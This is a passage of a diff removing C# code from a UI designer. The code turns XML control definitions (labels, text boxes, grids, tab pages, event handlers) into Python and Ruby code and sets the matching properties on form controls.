- case (ModUiTags.ForeColor): - SetForeColorInCode(PyCode, RbCode, ControlName, C, PropertyNode); - break; - case (ModUiTags.Font): - SetFontInCode(PyCode, RbCode, ControlName, C, PropertyNode); - break; - case (ModUiTags.BorderStyle): - SetBorderStyleInCode(PyCode, RbCode, ControlName, C, PropertyNode); - break; - case (ModUiTags.Icon): - SetIconInCode(PyCode, RbCode, ControlName, C, PropertyNode); - break; - case (ModUiTags.ReadOnly): - SetReadOnlyInCode(PyCode, RbCode, ControlName, C, PropertyNode); - break; - case (ModUiTags.Text): - SetTextInCode(PyCode, RbCode, ControlName, C, PropertyNode); - break; - case (ModUiTags.PasswordChar): - SetPasswordCharInCode(PyCode, RbCode, ControlName, C, PropertyNode); - break; - case (ModUiTags.MultiLine): - SetMultiLineInCode(PyCode, RbCode, ControlName, C, PropertyNode); - break; - case (ModUiTags.Wordwrap): - SetWordwrapInCode(PyCode, RbCode, ControlName, C, PropertyNode); - break; - case (ModUiTags.TextAlign): - SetTextAlignInCode(PyCode, RbCode, ControlName, C, PropertyNode); - break; - case (ModUiTags.ScrollBars): - SetScrollBarsInCode(PyCode, RbCode, ControlName, C, PropertyNode); - break; - //case (ModUiTags.Rtf): - // SetRtfInCode(PyCode, RbCode, ControlName, C, PropertyNode); - // break; - case (ModUiTags.RichTextScrollBars): - SetRichTextScrollBarsInCode(PyCode, RbCode, ControlName, C, PropertyNode); - break; - case (ModUiTags.DetectUrls): - SetDetectUrlsInCode(PyCode, RbCode, ControlName, C, PropertyNode); - break; - case (ModUiTags.Checked): - SetCheckedInCode(PyCode, RbCode, ControlName, C, PropertyNode); - break; - case (ModUiTags.Columns): - SetColumnsInCode(PyCode, RbCode, ControlName, C, PropertyNode); - break; - case (ModUiTags.AllowUserToAddRows): - SetAllowUserToAddRowsInCode(PyCode, RbCode, ControlName, C, PropertyNode); - break; - case (ModUiTags.AllowUserToDeleteRows): - SetAllowUserToDeleteRowsInCode(PyCode, RbCode, ControlName, C, PropertyNode); - break; - case (ModUiTags.AllowUserToResizeColumns): - SetAllowUserToResizeColumnsInCode(PyCode, RbCode, ControlName, C, PropertyNode); - break; - case (ModUiTags.AllowUserToResizeRows): - SetAllowUserToResizeRowsInCode(PyCode, RbCode, ControlName, C, PropertyNode); - break; - case (ModUiTags.ColumnHeadersVisible): - SetColumnHeadersVisibleInCode(PyCode, RbCode, ControlName, C, PropertyNode); - break; - case (ModUiTags.RowHeadersVisible): - SetRowHeadersVisibleInCode(PyCode, RbCode, ControlName, C, PropertyNode); - break; - case (ModUiTags.GridColor): - SetGridColorInCode(PyCode, RbCode, ControlName, C, PropertyNode); - break; - case (ModUiTags.BackgroundColor): - SetBackgroundColorInCode(PyCode, RbCode, ControlName, C, PropertyNode); - break; - case (ModUiTags.TabPages): - SetTabPagesInCode(PyCode, RbCode, ControlName, C, PropertyNode); - break; - } - ModCodeAndControlHolder Result = new ModCodeAndControlHolder(); - Result.PyCode = PyCode.ToString(); - Result.RbCode = RbCode.ToString(); - Result.Control = C; - return Result; - } - - #region SetPropertiesInCode - static void SetNameInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C) - { - PyCode.AppendLine(string.Format("{0}.Name = '{1}'", ControlName, ControlName)); - RbCode.AppendLine(string.Format("{0}.Name = '{1}'", ControlName, ControlName)); - C.Name = ControlName; - } - static void SetSizeInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) - { - if (Node.HasChildNodes && Node.ChildNodes.Count == 2) - { - int Width = 0; - int Height = 0; - foreach (XmlNode SubNode in Node.ChildNodes) - { - if (SubNode.Name.Equals(ModUiTags.SizeWidth)) - Width = Int32.Parse(SubNode.InnerText); - else if (SubNode.Name.Equals(ModUiTags.SizeHeight)) - Height = Int32.Parse(SubNode.InnerText); - else - throw new Exception(string.Format("Invalid Size value {0}", SubNode.Name)); - } - PyCode.AppendLine(string.Format("{0}.Size = ModUiTools.GetSizeDefinition({1},{2})", ControlName, Width, Height)); - RbCode.AppendLine(string.Format("{0}.Size = ModUiTools.get_size_definition({1},{2})", ControlName, Width, Height)); - C.Size = ModUiTools.GetSizeDefinition(Width, Height); - } - } - static void SetLocationInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) - { - if (Node.HasChildNodes && Node.ChildNodes.Count == 2) - { - int X = 0; - int Y = 0; - foreach (XmlNode SubNode in Node.ChildNodes) - { - if (SubNode.Name.Equals(ModUiTags.LocationX)) - X = Int32.Parse(SubNode.InnerText); - else if (SubNode.Name.Equals(ModUiTags.LocationY)) - Y = Int32.Parse(SubNode.InnerText); - else - throw new Exception(string.Format("Invalid Location value {0}", SubNode.Name)); - } - PyCode.AppendLine(string.Format("{0}.Location = ModUiTools.GetLocationDefinition({1},{2})", ControlName, X, Y)); - RbCode.AppendLine(string.Format("{0}.Location = ModUiTools.get_location_definition({1},{2})", ControlName, X, Y)); - C.Location = ModUiTools.GetLocationDefinition(X, Y); - } - } - static void SetAnchorInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) - { - if (Node.HasChildNodes && Node.ChildNodes.Count == 4) - { - bool Top = true; - bool Bottom = false; - bool Left = true; - bool Right = false; - foreach (XmlNode SubNode in Node.ChildNodes) - { - if (SubNode.Name.Equals(ModUiTags.AnchorLeft)) - Left = SubNode.InnerText.Equals("True"); - else if (SubNode.Name.Equals(ModUiTags.AnchorRight)) - Right = SubNode.InnerText.Equals("True"); - else if (SubNode.Name.Equals(ModUiTags.AnchorTop)) - Top = SubNode.InnerText.Equals("True"); - else if (SubNode.Name.Equals(ModUiTags.AnchorBottom)) - Bottom = SubNode.InnerText.Equals("True"); - else - throw new Exception(string.Format("Invalid Anchor value {0}", SubNode.Name)); - } - PyCode.AppendLine(string.Format("{0}.Anchor = ModUiTools.GetAnchorStyleDefinition({1},{2},{3},{4})", ControlName, PyBool(Top), PyBool(Bottom), PyBool(Left), PyBool(Right))); - RbCode.AppendLine(string.Format("{0}.Anchor = ModUiTools.get_anchor_style_definition({1},{2},{3},{4})", ControlName, RbBool(Top), RbBool(Bottom), RbBool(Left), RbBool(Right))); - C.Anchor = ModUiTools.GetAnchorStyleDefinition(Top, Bottom, Left, Right); - } - } - static void SetDockStyleInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) - { - string DockStyleName = Node.InnerText; - PyCode.AppendLine(string.Format("{0}.Dock = ModUiTools.GetDockStyleDefinition('{1}')", ControlName, DockStyleName)); - RbCode.AppendLine(string.Format("{0}.Dock = ModUiTools.get_dock_style_definition('{1}')", ControlName, DockStyleName)); - C.Dock = ModUiTools.GetDockStyleDefinition(DockStyleName); - } - static void SetEnabledInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) - { - bool Enabled = (Node.InnerText == "True"); - PyCode.AppendLine(string.Format("{0}.Enabled = {1}", ControlName, PyBool(Enabled))); - RbCode.AppendLine(string.Format("{0}.Enabled = {1}", ControlName, RbBool(Enabled))); - C.Enabled = Enabled; - } - static void SetVisibleInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) - { - bool Visible = (Node.InnerText == "True"); - PyCode.AppendLine(string.Format("{0}.Visible = {1}", ControlName, PyBool(Visible))); - RbCode.AppendLine(string.Format("{0}.Visible = {1}", ControlName, RbBool(Visible))); - C.Visible = Visible; - } - static void SetBackColorInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) - { - int ColorCode = Int32.Parse(Node.InnerText); - PyCode.AppendLine(string.Format("{0}.BackColor = ModUiTools.GetColorDefinition({1})", ControlName, ColorCode)); - RbCode.AppendLine(string.Format("{0}.BackColor = ModUiTools.get_color_definition({1})", ControlName, ColorCode)); - C.BackColor = ModUiTools.GetColorDefinition(ColorCode); - } - static void SetForeColorInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) - { - int ColorCode = Int32.Parse(Node.InnerText); - PyCode.AppendLine(string.Format("{0}.ForeColor = ModUiTools.GetColorDefinition({1})", ControlName, ColorCode)); - RbCode.AppendLine(string.Format("{0}.ForeColor = ModUiTools.get_color_definition({1})", ControlName, ColorCode)); - C.ForeColor = ModUiTools.GetColorDefinition(ColorCode); - } - static void SetFontInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) - { - if (Node.HasChildNodes && Node.ChildNodes.Count == 6) - { - string Family = "Arial"; - bool Bold = false; - bool Italic = false; - float Size = 0; - bool Strikeout = false; - bool Underline = false; - foreach (XmlNode SubNode in Node.ChildNodes) - { - if (SubNode.Name.Equals(ModUiTags.FontBold)) - Bold = SubNode.InnerText.Equals("True"); - else if (SubNode.Name.Equals(ModUiTags.FontItalic)) - Italic = SubNode.InnerText.Equals("True"); - else if (SubNode.Name.Equals(ModUiTags.FontStrikeout)) - Strikeout = SubNode.InnerText.Equals("True"); - else if (SubNode.Name.Equals(ModUiTags.FontUnderline)) - Underline = SubNode.InnerText.Equals("True"); - else if (SubNode.Name.Equals(ModUiTags.FontFamily)) - Family = SubNode.InnerText; - else if (SubNode.Name.Equals(ModUiTags.FontSize)) - Size = float.Parse(SubNode.InnerText); - else - throw new Exception(string.Format("Invalid Font value {0}", SubNode.Name)); - } - PyCode.AppendLine(string.Format("{0}.Font = ModUiTools.GetFontDefinition('{1}',{2},{3},{4},{5},{6})", ControlName, Family, Size, PyBool(Bold), PyBool(Italic), PyBool(Strikeout), PyBool(Underline))); - RbCode.AppendLine(string.Format("{0}.Font = ModUiTools.get_font_definition('{1}',{2},{3},{4},{5},{6})", ControlName, Family, Size, RbBool(Bold), RbBool(Italic), RbBool(Strikeout), RbBool(Underline))); - C.Font = ModUiTools.GetFontDefinition(Family, Size, Bold, Italic, Strikeout, Underline); - } - } - static void SetBorderStyleInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) - { - string BorderStyle = Node.InnerText; - switch (C.GetType().Name) - { - case ("ModTextBox"): - (C as ModTextBox).BorderStyle = ModUiTools.GetBorderStyleDefinition(BorderStyle); - break; - case ("ModRichTextBox"): - (C as ModRichTextBox).BorderStyle = ModUiTools.GetBorderStyleDefinition(BorderStyle); - break; - case ("ModLabel"): - (C as ModLabel).BorderStyle = ModUiTools.GetBorderStyleDefinition(BorderStyle); - break; - default: - return; - } - PyCode.AppendLine(string.Format("{0}.BorderStyle = ModUiTools.GetBorderStyleDefinition('{1}')", ControlName, BorderStyle)); - RbCode.AppendLine(string.Format("{0}.BorderStyle = ModUiTools.get_border_style_definition('{1}')", ControlName, BorderStyle)); - } - static void SetIconInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) - { - string IconString = Node.InnerText; - PyCode.AppendLine(string.Format("{0}.Icon = ModUiTools.GetIconDefinition('{1}')", ControlName, IconString)); - RbCode.AppendLine(string.Format("{0}.Icon = ModUiTools.get_icon_definition('{1}')", ControlName, IconString)); - (C as Form).Icon = ModUiTools.GetIconDefinition(IconString); - } - static void SetReadOnlyInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) - { - bool ReadOnly = (Node.InnerText == "True"); - switch (C.GetType().Name) - { - case ("ModTextBox"): - (C as ModTextBox).ReadOnly = ReadOnly; - break; - case ("ModRichTextBox"): - (C as ModRichTextBox).ReadOnly = ReadOnly; - break; - default: - return; - } - PyCode.AppendLine(string.Format("{0}.ReadOnly = {1}", ControlName, PyBool(ReadOnly))); - RbCode.AppendLine(string.Format("{0}.ReadOnly = {1}", ControlName, RbBool(ReadOnly))); - } - static void SetTextInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) - { - string EncodedText = Node.InnerText; - string DecodedText = ""; - try - { - DecodedText = Tools.Base64Decode(EncodedText); - } - catch { } - if (DecodedText.Length == 0) return; - switch (C.GetType().Name) - { - case ("Form"): - (C as Form).Text = DecodedText; - break; - case ("ModTextBox"): - (C as ModTextBox).Text = DecodedText; - break; - case ("ModRichTextBox"): - (C as ModRichTextBox).Text = DecodedText; - break; - case ("ModLabel"): - (C as ModLabel).Text = DecodedText; - break; - case ("ModCheckBox"): - (C as ModCheckBox).Text = DecodedText; - break; - case ("ModRadioButton"): - (C as ModRadioButton).Text = DecodedText; - break; - case ("ModButton"): - (C as ModButton).Text = DecodedText; - break; - default: - return; - } - PyCode.AppendLine(string.Format("{0}.Text = Tools.Base64Decode('{1}')", ControlName, EncodedText)); - RbCode.AppendLine(string.Format("{0}.Text = Tools.base64_decode('{1}')", ControlName, EncodedText)); - } - static void SetPasswordCharInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) - { - string PasswordChar = Node.InnerText; - if (PasswordChar.Length == 1) - { - switch (C.GetType().Name) - { - case ("ModTextBox"): - (C as ModTextBox).PasswordChar = PasswordChar.ToCharArray()[0]; - break; - } - PyCode.AppendLine(string.Format("{0}.PasswordChar = '{1}'", ControlName, PasswordChar)); - RbCode.AppendLine(string.Format("{0}.PasswordChar = '{1}'", ControlName, PasswordChar)); - } - } - static void SetTextAlignInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) - { - string TextAlign = Node.InnerText; - switch (C.GetType().Name) - { - case ("ModTextBox"): - (C as ModTextBox).TextAlign = ModUiTools.GetTextAlignDefinition(TextAlign); - break; - default: - return; - } - PyCode.AppendLine(string.Format("{0}.TextAlign = ModUiTools.GetTextAlignDefinition('{1}')", ControlName, TextAlign)); - RbCode.AppendLine(string.Format("{0}.TextAlign = ModUiTools.get_text_align_definition('{1}')", ControlName, TextAlign)); - } - static void SetScrollBarsInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) - { - string ScrollBars = Node.InnerText; - switch (C.GetType().Name) - { - case ("ModTextBox"): - (C as ModTextBox).ScrollBars = ModUiTools.GetScrollBarsDefinition(ScrollBars); - break; - default: - return; - } - PyCode.AppendLine(string.Format("{0}.ScrollBars = ModUiTools.GetScrollBarsDefinition('{1}')", ControlName, ScrollBars)); - RbCode.AppendLine(string.Format("{0}.ScrollBars = ModUiTools.get_scroll_bars_definition('{1}')", ControlName, ScrollBars)); - } - static void SetMultiLineInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) - { - bool MultiLine = (Node.InnerText == "True"); - switch (C.GetType().Name) - { - case ("ModTextBox"): - (C as ModTextBox).Multiline = MultiLine; - break; - case ("ModRichTextBox"): - (C as ModRichTextBox).Multiline = MultiLine; - break; - default: - return; - } - PyCode.AppendLine(string.Format("{0}.Multiline = {1}", ControlName, PyBool(MultiLine))); - RbCode.AppendLine(string.Format("{0}.Multiline = {1}", ControlName, RbBool(MultiLine))); - } - static void SetWordwrapInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) - { - bool Wordwrap = (Node.InnerText == "True"); - switch (C.GetType().Name) - { - case ("ModTextBox"): - (C as ModTextBox).WordWrap = Wordwrap; - break; - case ("ModRichTextBox"): - (C as ModRichTextBox).WordWrap = Wordwrap; - break; - default: - return; - } - PyCode.AppendLine(string.Format("{0}.WordWrap = {1}", ControlName, PyBool(Wordwrap))); - RbCode.AppendLine(string.Format("{0}.WordWrap = {1}", ControlName, RbBool(Wordwrap))); - } - static void SetDetectUrlsInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) - { - bool DetectUrls = (Node.InnerText == "True"); - switch (C.GetType().Name) - { - case ("ModRichTextBox"): - (C as ModRichTextBox).DetectUrls = DetectUrls; - break; - default: - return; - } - PyCode.AppendLine(string.Format("{0}.DetectUrls = {1}", ControlName, PyBool(DetectUrls))); - RbCode.AppendLine(string.Format("{0}.DetectUrls = {1}", ControlName, RbBool(DetectUrls))); - } - static void SetRichTextScrollBarsInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) - { - string ScrollBars = Node.InnerText; - switch (C.GetType().Name) - { - case ("ModRichTextBox"): - (C as ModRichTextBox).ScrollBars = ModUiTools.GetRichTextBoxScrollBarsDefinition(ScrollBars); - break; - default: - return; - } - PyCode.AppendLine(string.Format("{0}.ScrollBars = ModUiTools.GetRichTextBoxScrollBarsDefinition('{1}')", ControlName, ScrollBars)); - RbCode.AppendLine(string.Format("{0}.ScrollBars = ModUiTools.get_rich_text_box_scroll_bars_definition('{1}')", ControlName, ScrollBars)); - } - static void SetRtfInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) - { - string EncodedRtf = Node.InnerText; - string DecodedRtf = ""; - try - { - DecodedRtf = Tools.Base64Decode(EncodedRtf); - } - catch { } - if (DecodedRtf.Length == 0) return; - switch (C.GetType().Name) - { - case ("ModRichTextBox"): - (C as ModRichTextBox).Rtf = DecodedRtf; - break; - default: - return; - } - PyCode.AppendLine(string.Format("{0}.Rtf = Tools.Base64Decode('{1}')", ControlName, EncodedRtf)); - RbCode.AppendLine(string.Format("{0}.Rtf = Tools.base64_decode('{1}')", ControlName, EncodedRtf)); - } - static void SetCheckedInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) - { - bool Checked = (Node.InnerText == "True"); - switch (C.GetType().Name) - { - case ("ModRadioButton"): - (C as ModRadioButton).Checked = Checked; - break; - case ("ModCheckBox"): - (C as ModCheckBox).Checked = Checked; - break; - default: - return; - } - PyCode.AppendLine(string.Format("{0}.Checked = {1}", ControlName, PyBool(Checked))); - RbCode.AppendLine(string.Format("{0}.Checked = {1}", ControlName, RbBool(Checked))); - } - static void SetColumnsInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) - { - if (!Node.HasChildNodes) return; - foreach (XmlNode ColumnNode in Node.ChildNodes) - { - if (!ColumnNode.HasChildNodes) continue; - string Name = ""; - string Type = ""; - bool ReadOnly = false; - float FillWeight = 0; - int Width = 0; - int MinWidth = 0; - string AutoSizeModeStr = ""; - string EncodedHeaderText = ""; - foreach (XmlNode SubNode in ColumnNode.ChildNodes) - { - switch (SubNode.Name) - { - case(ModUiTags.Name): - Name = SubNode.InnerText; - break; - case (ModUiTags.CellType): - Type = SubNode.InnerText; - break; - case (ModUiTags.ReadOnly): - ReadOnly = SubNode.InnerText.Equals("True"); - break; - case (ModUiTags.FillWeight): - FillWeight = float.Parse(SubNode.InnerText); - break; - case (ModUiTags.MinimumWidth): - MinWidth = Int32.Parse(SubNode.InnerText); - break; - case (ModUiTags.Width): - Width = Int32.Parse(SubNode.InnerText); - break; - case (ModUiTags.AutoSizeColumnsMode): - AutoSizeModeStr = SubNode.InnerText; - break; - case (ModUiTags.HeaderText): - EncodedHeaderText = SubNode.InnerText; - break; - } - } - PyCode.AppendLine(string.Format("{0}.Columns.Add(ModUiTools.GetDataGridViewColumnDefinition('{1}', '{2}', {3}, {4}, {5}, {6}, '{7}', '{8}'))", ControlName, Name, Type, PyBool(ReadOnly), FillWeight, Width, MinWidth, AutoSizeModeStr, EncodedHeaderText)); - RbCode.AppendLine(string.Format("{0}.Columns.Add(ModUiTools.get_data_grid_view_column_definition('{1}', '{2}', {3}, {4}, {5}, {6}, '{7}, '{8}''))", ControlName, Name, Type, RbBool(ReadOnly), FillWeight, Width, MinWidth, AutoSizeModeStr, EncodedHeaderText)); - (C as ModDataGridView).Columns.Add(ModUiTools.GetDataGridViewColumnDefinition(Name, Type, ReadOnly, FillWeight, Width, MinWidth, AutoSizeModeStr, EncodedHeaderText)); - } - } - static void SetAllowUserToAddRowsInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) - { - bool Allow = (Node.InnerText == "True"); - PyCode.AppendLine(string.Format("{0}.AllowUserToAddRows = {1}", ControlName, PyBool(Allow))); - RbCode.AppendLine(string.Format("{0}.AllowUserToAddRows = {1}", ControlName, RbBool(Allow))); - (C as ModDataGridView).AllowUserToAddRows = Allow; - } - static void SetAllowUserToDeleteRowsInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) - { - bool Allow = (Node.InnerText == "True"); - PyCode.AppendLine(string.Format("{0}.AllowUserToDeleteRows = {1}", ControlName, PyBool(Allow))); - RbCode.AppendLine(string.Format("{0}.AllowUserToDeleteRows = {1}", ControlName, RbBool(Allow))); - (C as ModDataGridView).AllowUserToDeleteRows = Allow; - } - static void SetAllowUserToResizeColumnsInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) - { - bool Allow = (Node.InnerText == "True"); - PyCode.AppendLine(string.Format("{0}.AllowUserToResizeColumns = {1}", ControlName, PyBool(Allow))); - RbCode.AppendLine(string.Format("{0}.AllowUserToResizeColumns = {1}", ControlName, RbBool(Allow))); - (C as ModDataGridView).AllowUserToResizeColumns = Allow; - } - static void SetAllowUserToResizeRowsInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) - { - bool Allow = (Node.InnerText == "True"); - PyCode.AppendLine(string.Format("{0}.AllowUserToResizeRows = {1}", ControlName, PyBool(Allow))); - RbCode.AppendLine(string.Format("{0}.AllowUserToResizeRows = {1}", ControlName, RbBool(Allow))); - (C as ModDataGridView).AllowUserToResizeRows = Allow; - } - static void SetColumnHeadersVisibleInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) - { - bool Visible = (Node.InnerText == "True"); - PyCode.AppendLine(string.Format("{0}.ColumnHeadersVisible = {1}", ControlName, PyBool(Visible))); - RbCode.AppendLine(string.Format("{0}.ColumnHeadersVisible = {1}", ControlName, RbBool(Visible))); - (C as ModDataGridView).ColumnHeadersVisible = Visible; - } - static void SetRowHeadersVisibleInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) - { - bool Visible = (Node.InnerText == "True"); - PyCode.AppendLine(string.Format("{0}.RowHeadersVisible = {1}", ControlName, PyBool(Visible))); - RbCode.AppendLine(string.Format("{0}.RowHeadersVisible = {1}", ControlName, RbBool(Visible))); - (C as ModDataGridView).RowHeadersVisible = Visible; - } - static void SetGridColorInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) - { - int ColorCode = Int32.Parse(Node.InnerText); - PyCode.AppendLine(string.Format("{0}.GridColor = ModUiTools.GetColorDefinition({1})", ControlName, ColorCode)); - RbCode.AppendLine(string.Format("{0}.GridColor = ModUiTools.get_color_definition({1})", ControlName, ColorCode)); - (C as ModDataGridView).GridColor = ModUiTools.GetColorDefinition(ColorCode); - } - static void SetBackgroundColorInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) - { - int ColorCode = Int32.Parse(Node.InnerText); - PyCode.AppendLine(string.Format("{0}.BackgroundColor = ModUiTools.GetColorDefinition({1})", ControlName, ColorCode)); - RbCode.AppendLine(string.Format("{0}.BackgroundColor = ModUiTools.get_color_definition({1})", ControlName, ColorCode)); - (C as ModDataGridView).BackgroundColor = ModUiTools.GetColorDefinition(ColorCode); - } - void SetTabPagesInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) - { - if (!Node.HasChildNodes) return; - foreach (XmlNode TabPageNode in Node.ChildNodes) - { - if (!TabPageNode.HasChildNodes) continue; - string Name = ""; - string Text = ""; - XmlNode ChildrenNode = null; - foreach (XmlNode SubNode in TabPageNode.ChildNodes) - { - switch (SubNode.Name) - { - case (ModUiTags.Name): - Name = SubNode.InnerText; - break; - case (ModUiTags.Properties): - if (!SubNode.HasChildNodes) continue; - foreach (XmlNode PropertyNode in SubNode.ChildNodes) - { - if(PropertyNode.Name.Equals(ModUiTags.Text)) - Text = SubNode.InnerText; - } - break; - case(ModUiTags.Children): - ChildrenNode = SubNode; - break; - } - } - Name = GetControlName("TabPage", Name); - PyCode.AppendLine(string.Format("{0}.TabPages.Add('{1}', '{2}')", ControlName, Name, Text)); - RbCode.AppendLine(string.Format("{0}.TabPages.Add('{1}', '{2}')", ControlName, Name, Text)); - (C as ModTabControl).TabPages.Add(Name, Text); - if (ChildrenNode != null) - { - ModCodeAndControlHolder ChildResult = ConvertControlChildXmlNodesToCode(ChildrenNode, string.Format("{0}.TabPages['{1}']", ControlName, Name), (C as ModTabControl).TabPages[Name]); - PyCode.Append(ChildResult.PyCode); - RbCode.Append(ChildResult.RbCode); - } - } - } - #endregion - - ModCodeAndControlHolder ConvertControlEventHandlersNodeToCode(XmlNode EventHandlersNode, string ControlName, Control C) - { - StringBuilder PyCode = new StringBuilder(); - StringBuilder RbCode = new StringBuilder(); - foreach (XmlNode ChildNode in EventHandlersNode.ChildNodes) - { - ModCodeAndControlHolder ChildCode = ConvertControlEventHandlerNodeToCode(ChildNode, ControlName, C); - PyCode.Append(ChildCode.PyCode); - RbCode.Append(ChildCode.RbCode); - } - ModCodeAndControlHolder Result = new ModCodeAndControlHolder(); - Result.PyCode = PyCode.ToString(); - Result.RbCode = RbCode.ToString(); - Result.Control = C; - return Result; - } - ModCodeAndControlHolder ConvertControlEventHandlerNodeToCode(XmlNode EventHandlerNode, string ControlName, Control C) - { - StringBuilder PyCode = new StringBuilder(); - StringBuilder RbCode = new StringBuilder(); - string EventName = EventHandlerNode.Name; - string EventHandlerMethod = EventHandlerNode.InnerText; - if (EventHandlerMethod.Length > 0) - { - PyCode.AppendLine(string.Format("{0}.{1} += lambda s,e: {2}", ControlName, EventName, EventHandlerMethod)); - RbCode.AppendLine(string.Format("{0}.{1} do |s, e|", ControlName, EventName)); - RbCode.AppendLine(string.Format(" {0}", EventHandlerMethod)); - RbCode.AppendLine("end"); - switch (C.GetType().Name) - { - case ("Form"): - ModUi.EventHandlers[EventName] = EventHandlerMethod; - break; - case ("ModTextBox"): - (C as ModTextBox).EventHandlers[EventName] = EventHandlerMethod; - break; - case ("ModRichTextBox"): - (C as ModRichTextBox).EventHandlers[EventName] = EventHandlerMethod; - break; - case ("ModButton"): - (C as ModButton).EventHandlers[EventName] = EventHandlerMethod; - break; - case ("ModCheckBox"): - (C as ModCheckBox).EventHandlers[EventName] = EventHandlerMethod; - break; - case ("ModRadioButton"): - (C as ModRadioButton).EventHandlers[EventName] = EventHandlerMethod; - break; - case ("ModLabel"): - (C as ModLabel).EventHandlers[EventName] = EventHandlerMethod; - break; - case ("ModDataGridView"): - (C as ModDataGridView).EventHandlers[EventName] = EventHandlerMethod; - break; - case ("ModPanel"): - (C as ModPanel).EventHandlers[EventName] = EventHandlerMethod; - break; - case ("ModTabControl"): - (C as ModTabControl).EventHandlers[EventName] = EventHandlerMethod; - break; - } - } - ModCodeAndControlHolder Result = new ModCodeAndControlHolder(); - Result.PyCode = PyCode.ToString(); - Result.RbCode = RbCode.ToString(); - Result.Control = C; - return Result; - } - - ModCodeAndControlHolder ConvertControlChildXmlNodesToCode(XmlNode ParentNode, string ParentName, Control ParentControl) - { - StringBuilder PyCode = new StringBuilder(); - StringBuilder RbCode = new StringBuilder(); - foreach (XmlNode ChildNode in ParentNode.ChildNodes) - { - string ReadControlName = GetControlNameFromControlXmlNode(ChildNode); - string ControlName = GetControlName(ChildNode.Name, ReadControlName); - Control C; - switch (ChildNode.Name) - { - case ("ModLabel"): - PyCode.AppendLine(string.Format("{0} = ModLabel()", ControlName)); - RbCode.AppendLine(string.Format("{0} = ModLabel.new()", ControlName)); - try - { - C = (ModLabel)ModUiDesigner.IDH.CreateComponent(typeof(ModLabel), ControlName); - } - catch { C = new ModLabel(); } - break; - case ("ModTextBox"): - PyCode.AppendLine(string.Format("{0} = ModTextBox()", ControlName)); - RbCode.AppendLine(string.Format("{0} = ModTextBox.new()", ControlName)); - try - { - C = (ModTextBox)ModUiDesigner.IDH.CreateComponent(typeof(ModTextBox), ControlName); - } - catch { C = new ModTextBox(); } - break; - case ("ModRichTextBox"): - PyCode.AppendLine(string.Format("{0} = ModRichTextBox()", ControlName)); - RbCode.AppendLine(string.Format("{0} = ModRichTextBox.new()", ControlName)); - try - { - C = (ModRichTextBox)ModUiDesigner.IDH.CreateComponent(typeof(ModRichTextBox), ControlName); - } - catch { C = new ModRichTextBox(); } - break; - case ("ModButton"): - PyCode.AppendLine(string.Format("{0} = ModButton()", ControlName)); - RbCode.AppendLine(string.Format("{0} = ModButton.new()", ControlName)); - try - { - C = (ModButton)ModUiDesigner.IDH.CreateComponent(typeof(ModButton), ControlName); - } - catch { C = new ModButton(); } - break; - case ("ModCheckBox"): - PyCode.AppendLine(string.Format("{0} = ModCheckBox()", ControlName)); - RbCode.AppendLine(string.Format("{0} = ModCheckBox.new()", ControlName)); - try - { - C = (ModCheckBox)ModUiDesigner.IDH.CreateComponent(typeof(ModCheckBox), ControlName); - } - catch { C = new ModCheckBox(); } - break; - case ("ModRadioButton"): - PyCode.AppendLine(string.Format("{0} = ModRadioButton()", ControlName)); - RbCode.AppendLine(string.Format("{0} = ModRadioButton.new()", ControlName)); - try - { - C = (ModRadioButton)ModUiDesigner.IDH.CreateComponent(typeof(ModRadioButton), ControlName); - } - catch { C = new ModRadioButton(); } - break; - case ("ModDataGridView"): - PyCode.AppendLine(string.Format("{0} = ModDataGridView()", ControlName)); - RbCode.AppendLine(string.Format("{0} = ModDataGridView.new()", ControlName)); - try - { - C = (ModDataGridView)ModUiDesigner.IDH.CreateComponent(typeof(ModDataGridView), ControlName); - } - catch { C = new ModDataGridView(); } - break; - case ("ModPanel"): - PyCode.AppendLine(string.Format("{0} = ModPanel()", ControlName)); - RbCode.AppendLine(string.Format("{0} = ModPanel.new()", ControlName)); - try - { - C = (ModPanel)ModUiDesigner.IDH.CreateComponent(typeof(ModPanel), ControlName); - } - catch { C = new 